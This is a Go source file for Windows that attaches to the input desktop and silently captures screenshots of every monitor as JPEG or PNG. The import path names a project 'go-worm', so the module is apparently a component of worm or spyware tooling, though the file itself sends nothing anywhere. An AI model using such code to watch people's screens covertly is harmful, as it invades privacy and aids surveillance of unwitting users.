package screenshot

import (
	"bytes"
	"errors"
	"image"
	"image/jpeg"
	"image/png"
	"runtime"
	"syscall"
	"unsafe"

	"tea.chunkbyte.com/kato/go-worm/lib/models"
)

var (
	user32                  = syscall.NewLazyDLL("user32.dll")
	gdi32                   = syscall.NewLazyDLL("gdi32.dll")
	procOpenInputDesktop    = user32.NewProc("OpenInputDesktop")
	procSetThreadDesktop    = user32.NewProc("SetThreadDesktop")
	procCloseDesktop        = user32.NewProc("CloseDesktop")
	procEnumDisplayMonitors = user32.NewProc("EnumDisplayMonitors")
	procGetDC               = user32.NewProc("GetDC")
	procReleaseDC           = user32.NewProc("ReleaseDC")
	procCreateCompatibleDC  = gdi32.NewProc("CreateCompatibleDC")
	procDeleteDC            = gdi32.NewProc("DeleteDC")
	procCreateDIBSection    = gdi32.NewProc("CreateDIBSection")
	procDeleteObject        = gdi32.NewProc("DeleteObject")
	procSelectObject        = gdi32.NewProc("SelectObject")
	procBitBlt              = gdi32.NewProc("BitBlt")
)

type rect struct {
	Left, Top, Right, Bottom int32
}

type bitmapInfoHeader struct {
	Size          uint32
	Width         int32
	Height        int32
	Planes        uint16
	BitCount      uint16
	Compression   uint32
	SizeImage     uint32
	XPelsPerMeter int32
	YPelsPerMeter int32
	ClrUsed       uint32
	ClrImportant  uint32
}

type bitmapInfo struct {
	Header bitmapInfoHeader
	Colors [1]uint32
}

func Capture(format string, quality int) ([]models.CapturedImage, error) {
	runtime.LockOSThread()
	defer runtime.UnlockOSThread()
	if err := attachInputDesktop(); err != nil {
		return nil, err
	}
	monitors, err := enumerateMonitors()
	if err != nil {
		return nil, err
	}
	if len(monitors) == 0 {
		return nil, errors.New("no displays found")
	}
	result := make([]models.CapturedImage, 0, len(monitors))
	for _, monitor := range monitors {
		img, err := captureRect(monitor)
		if err != nil {
			return nil, err
		}
		data, contentType, err := encodeImage(img, format, quality)
		if err != nil {
			return nil, err
		}
		result = append(result, models.CapturedImage{ContentType: contentType, Data: data})
	}
	return result, nil
}

func attachInputDesktop() error {
	h, _, err := procOpenInputDesktop.Call(0, 0, 0x0001|0x0040)
	if h == 0 {
		return err
	}
	defer procCloseDesktop.Call(h)
	ok, _, err := procSetThreadDesktop.Call(h)
	if ok == 0 {
		return err
	}
	return nil
}

func enumerateMonitors() ([]rect, error) {
	var monitors []rect
	callback := syscall.NewCallback(func(_ uintptr, _ uintptr, monitorRect uintptr, _ uintptr) uintptr {
		if monitorRect != 0 {
			monitors = append(monitors, *(*rect)(unsafe.Pointer(monitorRect)))
		}
		return 1
	})
	ok, _, err := procEnumDisplayMonitors.Call(0, 0, callback, 0)
	if ok == 0 {
		return nil, err
	}
	return monitors, nil
}

func captureRect(r rect) (*image.RGBA, error) {
	width, height := int(r.Right-r.Left), int(r.Bottom-r.Top)
	if width <= 0 || height <= 0 {
		return nil, errors.New("invalid monitor dimensions")
	}
	screenDC, _, err := procGetDC.Call(0)
	if screenDC == 0 {
		return nil, err
	}
	defer procReleaseDC.Call(0, screenDC)
	memDC, _, err := procCreateCompatibleDC.Call(screenDC)
	if memDC == 0 {
		return nil, err
	}
	defer procDeleteDC.Call(memDC)
	bmi := bitmapInfo{Header: bitmapInfoHeader{Size: uint32(unsafe.Sizeof(bitmapInfoHeader{})), Width: int32(width), Height: -int32(height), Planes: 1, BitCount: 32, Compression: 0}}
	var bits unsafe.Pointer
	bitmap, _, err := procCreateDIBSection.Call(screenDC, uintptr(unsafe.Pointer(&bmi)), 0, uintptr(unsafe.Pointer(&bits)), 0, 0)
	if bitmap == 0 || bits == nil {
		return nil, err
	}
	defer procDeleteObject.Call(bitmap)
	old, _, _ := procSelectObject.Call(memDC, bitmap)
	defer procSelectObject.Call(memDC, old)
	const srccopy = 0x00CC0020 | 0x40000000 // SRCCOPY | CAPTUREBLT
	ok, _, err := procBitBlt.Call(memDC, 0, 0, uintptr(width), uintptr(height), screenDC, uintptr(int64(r.Left)), uintptr(int64(r.Top)), srccopy)
	if ok == 0 {
		return nil, err
	}
	raw := unsafe.Slice((*byte)(bits), width*height*4)
	pix := make([]byte, len(raw))
	for i := 0; i < len(raw); i += 4 {
		pix[i], pix[i+1], pix[i+2], pix[i+3] = raw[i+2], raw[i+1], raw[i], raw[i+3]
	}
	return &image.RGBA{Pix: pix, Stride: width * 4, Rect: image.Rect(0, 0, width, height)}, nil
}

func encodeImage(img image.Image, format string, quality int) ([]byte, string, error) {
	var buffer bytes.Buffer
	if format == "jpeg" {
		err := jpeg.Encode(&buffer, img, &jpeg.Options{Quality: quality})
		return buffer.Bytes(), "image/jpeg", err
	}
	err := png.Encode(&buffer, img)
	return buffer.Bytes(), "image/png", err
}
